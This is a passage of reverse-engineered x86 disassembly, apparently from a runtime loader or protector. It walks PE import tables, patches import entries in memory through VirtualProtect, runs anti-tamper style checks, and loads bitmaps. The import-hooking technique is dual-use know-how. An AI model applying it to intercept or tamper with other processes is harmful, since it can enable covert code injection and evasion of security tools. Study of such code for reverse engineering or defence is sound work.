		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_496101
		jmp	loc_4963BC
; ---------------------------------------------------------------------------

loc_496101:				; CODE XREF: sub_4960D0+2Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_30], edx
		jmp	short loc_49611E
; ---------------------------------------------------------------------------

loc_496115:				; CODE XREF: sub_4960D0:loc_496133j
		mov	eax, [ebp+var_30]
		mov	ecx, [eax+4]
		mov	[ebp+var_30], ecx

loc_49611E:				; CODE XREF: sub_4960D0+43j
		cmp	[ebp+var_30], 0
		jz	short loc_496135
		mov	edx, [ebp+var_30]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_496133
		jmp	loc_4963BC
; ---------------------------------------------------------------------------

loc_496133:				; CODE XREF: sub_4960D0+5Cj
		jmp	short loc_496115
; ---------------------------------------------------------------------------

loc_496135:				; CODE XREF: sub_4960D0+52j
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_49C871
		test	eax, eax
		jz	short loc_49614A
		jmp	loc_4963BC
; ---------------------------------------------------------------------------

loc_49614A:				; CODE XREF: sub_4960D0+73j
		mov	edx, ds:dword_4A2914
		add	edx, 1
		mov	ds:dword_4A2914, edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	ecx, ds:off_4A1BE8
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		add	eax, [edx+3Ch]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		cmp	dword ptr [ecx], 4550h
		jnz	loc_496371
		cmp	ds:dword_4A2680, 1
		jnz	short loc_4961AA
		cmp	[ebp+arg_0], 80000000h
		jbe	short loc_4961AA
		push	0
		push	0
		push	0
		push	0
		call	ds:dword_4A2778	; RaiseException

loc_4961AA:				; CODE XREF: sub_4960D0+C1j
					; sub_4960D0+CAj
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_34]
		add	eax, [edx+80h]
		mov	[ebp+var_20], eax
		mov	[ebp+var_4], 1
		cmp	ds:dword_4A2680, 1
		jnz	short loc_496247
		mov	[ebp+var_40], 0
		jmp	short loc_4961DB
; ---------------------------------------------------------------------------

loc_4961D2:				; CODE XREF: sub_4960D0:loc_496245j
		mov	ecx, [ebp+var_40]
		add	ecx, 1
		mov	[ebp+var_40], ecx

loc_4961DB:				; CODE XREF: sub_4960D0+100j
		mov	edx, [ebp+var_38]
		xor	eax, eax
		mov	ax, [edx+6]
		cmp	[ebp+var_40], eax
		jnb	short loc_496247
		mov	ecx, [ebp+var_38]
		xor	edx, edx
		mov	dx, [ecx+14h]
		mov	eax, [ebp+var_38]
		lea	ecx, [eax+edx+18h]
		mov	edx, [ebp+var_40]
		imul	edx, 28h
		add	ecx, edx
		mov	[ebp+var_44], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+0Ch]
		cmp	ecx, [ebp+var_20]
		ja	short loc_496245
		mov	edx, [ebp+var_44]
		mov	eax, [ebp+var_34]
		add	eax, [edx+0Ch]
		mov	ecx, [ebp+var_44]
		add	eax, [ecx+8]
		cmp	[ebp+var_20], eax
		ja	short loc_496245
		mov	edx, [ebp+var_44]
		mov	eax, [edx+24h]
		and	eax, 10000000h
		test	eax, eax
		jz	short loc_496243
		push	0
		push	0
		push	0
		push	0
		call	ds:dword_4A2778	; RaiseException

loc_496243:				; CODE XREF: sub_4960D0+163j
		jmp	short loc_496247
; ---------------------------------------------------------------------------

loc_496245:				; CODE XREF: sub_4960D0+140j
					; sub_4960D0+154j
		jmp	short loc_4961D2
; ---------------------------------------------------------------------------

loc_496247:				; CODE XREF: sub_4960D0+F7j
					; sub_4960D0+117j ...
		mov	[ebp+var_4], 0
		jmp	short loc_49626E
; ---------------------------------------------------------------------------

loc_496250:				; DATA XREF: _5:0049F470o
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------

loc_496264:				; DATA XREF: _5:0049F474o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0

loc_49626E:				; CODE XREF: sub_4960D0+17Ej
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+84h]
		xor	edx, edx
		mov	ecx, 14h
		div	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+var_3C], 0
		jmp	short loc_496295
; ---------------------------------------------------------------------------

loc_49628C:				; CODE XREF: sub_4960D0:loc_49636Cj
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx

loc_496295:				; CODE XREF: sub_4960D0+1BAj
		mov	eax, [ebp+var_3C]
		cmp	eax, [ebp+var_1C]
		jnb	loc_496371
		mov	ecx, [ebp+var_3C]
		imul	ecx, 14h
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_34]
		add	eax, [edx+ecx+0Ch]
		mov	[ebp+var_50], eax
		mov	ecx, [ebp+var_3C]
		imul	ecx, 14h
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+ecx+0Ch], 0
		jz	short loc_4962DD
		mov	eax, [ebp+var_3C]
		imul	eax, 14h
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+eax+0Ch]
		mov	eax, [ebp+var_34]
		xor	ecx, ecx
		mov	cl, [eax+edx]
		test	ecx, ecx
		jnz	short loc_4962E2

loc_4962DD:				; CODE XREF: sub_4960D0+1F2j
		jmp	loc_496371
; ---------------------------------------------------------------------------

loc_4962E2:				; CODE XREF: sub_4960D0+20Bj
		mov	edx, [ebp+var_3C]
		imul	edx, 14h
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+edx+10h]
		mov	[ebp+var_48], ecx
		mov	edx, [ebp+var_50]
		push	edx
		call	sub_49BF8C
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_50]
		mov	ds:off_4A1BE8, eax
		cmp	[ebp+var_4C], 0
		jz	short loc_496323
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_4C]
		push	eax
		call	sub_4960D0
		add	esp, 0Ch

loc_496323:				; CODE XREF: sub_4960D0+23Dj
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		cmp	eax, [ebp+arg_0]
		jz	short loc_49636C
		mov	ecx, [ebp+var_4C]
		push	ecx
		mov	ecx, ds:dword_4A70D8
		call	sub_49C871
		test	eax, eax
		jz	short loc_49636C
		jmp	short loc_49634E
; ---------------------------------------------------------------------------

loc_496345:				; CODE XREF: sub_4960D0+29Aj
		mov	edx, [ebp+var_48]
		add	edx, 4
		mov	[ebp+var_48], edx

loc_49634E:				; CODE XREF: sub_4960D0+273j
		mov	eax, [ebp+var_48]
		cmp	dword ptr [eax], 0
		jz	short loc_49636C
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_48]
		push	eax
		call	sub_4963D0
		add	esp, 0Ch
		jmp	short loc_496345
; ---------------------------------------------------------------------------

loc_49636C:				; CODE XREF: sub_4960D0+25Ej
					; sub_4960D0+271j ...
		jmp	loc_49628C
; ---------------------------------------------------------------------------

loc_496371:				; CODE XREF: sub_4960D0+B4j
					; sub_4960D0+1CBj ...
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_49C98E
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4963A5
; ---------------------------------------------------------------------------
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	ecx, [eax]
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+var_54]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh

loc_4963A5:				; CODE XREF: sub_4960D0+2B6j
		mov	eax, [ebp+var_24]
		mov	ds:off_4A1BE8, eax
		mov	ecx, ds:dword_4A2914
		sub	ecx, 1
		mov	ds:dword_4A2914, ecx

loc_4963BC:				; CODE XREF: sub_4960D0+2Cj
					; sub_4960D0+5Ej ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4960D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4963D0	proc near		; CODE XREF: sub_495AB0+282p
					; sub_4960D0+292p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], 0
		cmp	ds:dword_4A70D4, 0
		jnz	short loc_4963F0
		mov	ecx, 0EF00000Ah
		call	sub_499342

loc_4963F0:				; CODE XREF: sub_4963D0+14j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	ecx, ds:dword_4A70D4
		call	sub_49C871
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49644F
		lea	edx, [ebp+var_10]
		push	edx
		push	4
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4A27AC	; VirtualProtect
		test	eax, eax
		jnz	short loc_49642A
		mov	ecx, 0EF00000Bh
		call	sub_499342

loc_49642A:				; CODE XREF: sub_4963D0+4Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ecx], eax
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4A27AC	; VirtualProtect
		mov	[ebp+var_4], 1

loc_49644F:				; CODE XREF: sub_4963D0+38j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4963D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496456	proc near		; CODE XREF: sub_48D3F3+23p
					; sub_490036+A5p

var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_1E		= dword	ptr -1Eh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F478
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 6Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_3C], 0
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0Eh
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	sub_492177
		test	eax, eax
		jz	short loc_4964B7
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+arg_0]
		call	sub_491672
		test	eax, eax
		jnz	short loc_4964D0

loc_4964B7:				; CODE XREF: sub_496456+4Fj
		push	0FFFFFFFFh
		and	[ebp+var_64], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_64]
		jmp	loc_4966DC
; ---------------------------------------------------------------------------

loc_4964D0:				; CODE XREF: sub_496456+5Fj
		movzx	eax, [ebp+var_28]
		cmp	eax, 4D42h
		jnz	short loc_496534
		mov	eax, [ebp+var_26]
		cmp	eax, [ebp+var_44]
		ja	short loc_496534
		mov	eax, [ebp+var_26]
		sub	eax, 0Eh
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_48]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, [ebp+var_26]
		sub	eax, 0Eh
		push	eax
		push	[ebp+var_30]
		push	[ebp+arg_0]
		call	sub_492177
		test	eax, eax
		jnz	short loc_496532
		push	0FFFFFFFFh
		and	[ebp+var_68], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_68]
		jmp	loc_4966DC
; ---------------------------------------------------------------------------

loc_496532:				; CODE XREF: sub_496456+C1j
		jmp	short loc_49654D
; ---------------------------------------------------------------------------

loc_496534:				; CODE XREF: sub_496456+83j
					; sub_496456+8Bj
		push	0FFFFFFFFh
		and	[ebp+var_6C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_6C]
		jmp	loc_4966DC
; ---------------------------------------------------------------------------

loc_49654D:				; CODE XREF: sub_496456:loc_496532j
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_30]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_496577
		push	0FFFFFFFFh
		and	[ebp+var_70], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_70]
		jmp	loc_4966DC
; ---------------------------------------------------------------------------

loc_496577:				; CODE XREF: sub_496456+106j
		push	0
		call	ds:dword_4A27E0	; CreateCompatibleDC
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4965A1
		push	0FFFFFFFFh
		and	[ebp+var_74], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_74]
		jmp	loc_4966DC
; ---------------------------------------------------------------------------

loc_4965A1:				; CODE XREF: sub_496456+130j
		mov	eax, [ebp+var_1E]
		mov	ecx, [ebp+var_30]
		lea	eax, [ecx+eax-0Eh]
		mov	[ebp+var_40], eax
		and	[ebp+var_4C], 0
		and	[ebp+var_54], 0
		mov	eax, [ebp+var_30]
		movzx	eax, word ptr [eax+0Eh]
		mov	[ebp+var_78], eax
		cmp	[ebp+var_78], 8
		jz	short loc_4965F5
		cmp	[ebp+var_78], 10h
		jz	short loc_4965EC
		cmp	[ebp+var_78], 18h
		jz	short loc_4965E3
		cmp	[ebp+var_78], 20h
		jz	short loc_4965DA
		jmp	short loc_4965FE
; ---------------------------------------------------------------------------

loc_4965DA:				; CODE XREF: sub_496456+180j
		mov	[ebp+var_4C], 4
		jmp	short loc_496617
; ---------------------------------------------------------------------------

loc_4965E3:				; CODE XREF: sub_496456+17Aj
		mov	[ebp+var_4C], 3
		jmp	short loc_496617
; ---------------------------------------------------------------------------

loc_4965EC:				; CODE XREF: sub_496456+174j
		mov	[ebp+var_4C], 2
		jmp	short loc_496617
; ---------------------------------------------------------------------------

loc_4965F5:				; CODE XREF: sub_496456+16Ej
		mov	[ebp+var_4C], 1
		jmp	short loc_496617
; ---------------------------------------------------------------------------

loc_4965FE:				; CODE XREF: sub_496456+182j
		push	0FFFFFFFFh
		and	[ebp+var_7C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_7C]
		jmp	loc_4966DC
; ---------------------------------------------------------------------------

loc_496617:				; CODE XREF: sub_496456+18Bj
					; sub_496456+194j ...
		push	0
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		push	0
		push	[ebp+var_30]
		push	[ebp+var_2C]
		call	ds:dword_4A27E4	; CreateDIBSection
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jnz	short loc_49664F
		push	0FFFFFFFFh
		and	[ebp+var_80], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_80]
		jmp	loc_4966DC
; ---------------------------------------------------------------------------

loc_49664F:				; CODE XREF: sub_496456+1DEj
		mov	eax, [ebp+var_30]
		mov	eax, [eax+4]
		imul	eax, [ebp+var_4C]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_50]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_49667F
		mov	eax, [ebp+var_50]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		push	4
		pop	eax
		sub	eax, edx
		mov	ecx, [ebp+var_50]
		add	ecx, eax
		mov	[ebp+var_50], ecx

loc_49667F:				; CODE XREF: sub_496456+211j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_50]
		imul	ecx, [eax+8]
		mov	esi, [ebp+var_40]
		mov	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	0FFFFFFFFh
		mov	eax, [ebp+var_54]
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_84]
		jmp	short loc_4966DC
; ---------------------------------------------------------------------------

loc_4966BB:				; DATA XREF: _5:0049F480o
		cmp	[ebp+var_2C], 0
		jz	short loc_4966CA
		push	[ebp+var_2C]
		call	ds:dword_4A27E8	; DeleteDC

loc_4966CA:				; CODE XREF: sub_496456+269j
		mov	eax, [ebp+var_30]
		mov	[ebp+var_60], eax
		push	[ebp+var_60]
		call	sub_4993DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax

loc_4966DC:				; CODE XREF: sub_496456+75j
					; sub_496456+D7j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_496456	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4966EB	proc near		; CODE XREF: sub_4971E1+969p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	[ebp+arg_0]
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_49670F
; ---------------------------------------------------------------------------

loc_496708:				; CODE XREF: sub_4966EB+40j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_49670F:				; CODE XREF: sub_4966EB+1Bj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_49672D
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_48D86E
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_496708
; ---------------------------------------------------------------------------

loc_49672D:				; CODE XREF: sub_4966EB+2Cj
		push	0Ch
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		leave
		retn
sub_4966EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49675D	proc near		; CODE XREF: sub_495AB0+9Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	[ebp+arg_4]
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_496781
; ---------------------------------------------------------------------------

loc_49677A:				; CODE XREF: sub_49675D+40j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_496781:				; CODE XREF: sub_49675D+1Bj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_49679F
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_48D86E
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_49677A
; ---------------------------------------------------------------------------

loc_49679F:				; CODE XREF: sub_49675D+2Cj
					; sub_49675D:loc_496818j
		cmp	[ebp+arg_0], 0
		jz	short loc_49681A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		mov	[ebp+var_14], eax

loc_4967C2:				; CODE XREF: sub_49675D+97j
		mov	eax, [ebp+var_14]
		mov	al, [eax]
		mov	[ebp+var_15], al
		mov	ecx, [ebp+var_10]
		cmp	al, [ecx]
		jnz	short loc_4967FC
		cmp	[ebp+var_15], 0
		jz	short loc_4967F6
		mov	eax, [ebp+var_14]
		mov	al, [eax+1]
		mov	[ebp+var_16], al
		mov	ecx, [ebp+var_10]
		cmp	al, [ecx+1]
		jnz	short loc_4967FC
		add	[ebp+var_14], 2
		add	[ebp+var_10], 2
		cmp	[ebp+var_16], 0
		jnz	short loc_4967C2

loc_4967F6:				; CODE XREF: sub_49675D+78j
		and	[ebp+var_1C], 0
		jmp	short loc_496804
; ---------------------------------------------------------------------------

loc_4967FC:				; CODE XREF: sub_49675D+72j
					; sub_49675D+89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_1C], eax

loc_496804:				; CODE XREF: sub_49675D+9Dj
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_496818
		mov	eax, [ebp+var_C]
		mov	eax, [eax+4]
		jmp	short locret_49681C
; ---------------------------------------------------------------------------

loc_496818:				; CODE XREF: sub_49675D+B1j
		jmp	short loc_49679F
; ---------------------------------------------------------------------------

loc_49681A:				; CODE XREF: sub_49675D+46j
		xor	eax, eax

locret_49681C:				; CODE XREF: sub_49675D+B9j
		leave
		retn
sub_49675D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49681E	proc near		; CODE XREF: sub_4968CF+86p
					; sub_4971E1+D8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		movzx	eax, ds:byte_4A2694
		test	eax, eax
		jnz	short loc_49687C
		push	offset dword_4A1C88
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_492AE2
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_496863
		push	offset dword_4A1C88
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4929D2
		mov	[ebp+var_8], eax

loc_496863:				; CODE XREF: sub_49681E+30j
		cmp	[ebp+var_8], 0
		jnz	short loc_49687C
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	[ebp+var_C]
		call	sub_4993DD
		pop	ecx
		and	[ebp+var_4], 0

loc_49687C:				; CODE XREF: sub_49681E+17j
					; sub_49681E+49j
		cmp	[ebp+arg_4], 0
		jz	short loc_49688C
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		jmp	short loc_49689B
; ---------------------------------------------------------------------------

loc_49688C:				; CODE XREF: sub_49681E+62j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4993DD
		pop	ecx

loc_49689B:				; CODE XREF: sub_49681E+6Cj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_49681E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4968A0	proc near		; CODE XREF: sub_496BD7+41p
					; sub_496BD7+37Cp ...
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4A295C, 0
		jnz	short loc_4968C2
		push	offset aKernel32_dll ; "kernel32.dll"
		push	offset aGetcurrentpr_0 ; "GetCurrentProcessId"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	ds:dword_4A295C, eax

loc_4968C2:				; CODE XREF: sub_4968A0+Aj
		call	ds:dword_4A295C
		xor	eax, 0CABEFA10h
		pop	ebp
		retn
sub_4968A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4968CF	proc near		; CODE XREF: sub_496AD2+Cp
					; sub_49BF8C+2Bp

var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	[ebp+var_34], dl
		mov	[ebp+var_30], ecx
		push	offset sub_49CB0D
		push	ds:dword_4A27C0
		push	[ebp+var_30]
		mov	ecx, ds:dword_4A2954
		call	sub_49C891
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_49694E
		movzx	eax, [ebp+var_34]
		test	eax, eax
		jz	short loc_496946
		push	400h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		push	400h
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	ds:dword_4A2714	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_496937
		push	[ebp+var_10]
		call	ds:dword_4A275C	; LoadLibraryA

loc_496937:				; CODE XREF: sub_4968CF+5Dj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		call	sub_4993DD
		pop	ecx

loc_496946:				; CODE XREF: sub_4968CF+34j
		mov	eax, [ebp+var_C]
		jmp	locret_496A3F
; ---------------------------------------------------------------------------

loc_49694E:				; CODE XREF: sub_4968CF+2Cj
		push	0
		push	0
		push	[ebp+var_30]
		call	sub_49681E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		cmp	[ebp+var_8], 0
		jz	short loc_4969B3
		push	0
		push	0
		push	[ebp+var_8]
		call	sub_499892
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_49699F
		movzx	eax, [ebp+var_34]
		test	eax, eax
		jz	short loc_49699F
		push	[ebp+var_14]
		call	ds:dword_4A275C	; LoadLibraryA

loc_49699F:				; CODE XREF: sub_4968CF+BDj
					; sub_4968CF+C5j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4993DD
		pop	ecx
		jmp	loc_496A3C
; ---------------------------------------------------------------------------

loc_4969B3:				; CODE XREF: sub_4968CF+99j
		push	[ebp+var_30]
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_496A3C
		movzx	eax, [ebp+var_34]
		test	eax, eax
		jz	short loc_496A3C
		push	400h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_18], eax
		push	400h
		push	[ebp+var_18]
		push	[ebp+var_4]
		call	ds:dword_4A2714	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_4969FF
		push	[ebp+var_18]
		call	ds:dword_4A275C	; LoadLibraryA

loc_4969FF:				; CODE XREF: sub_4968CF+125j
		mov	eax, [ebp+var_18]
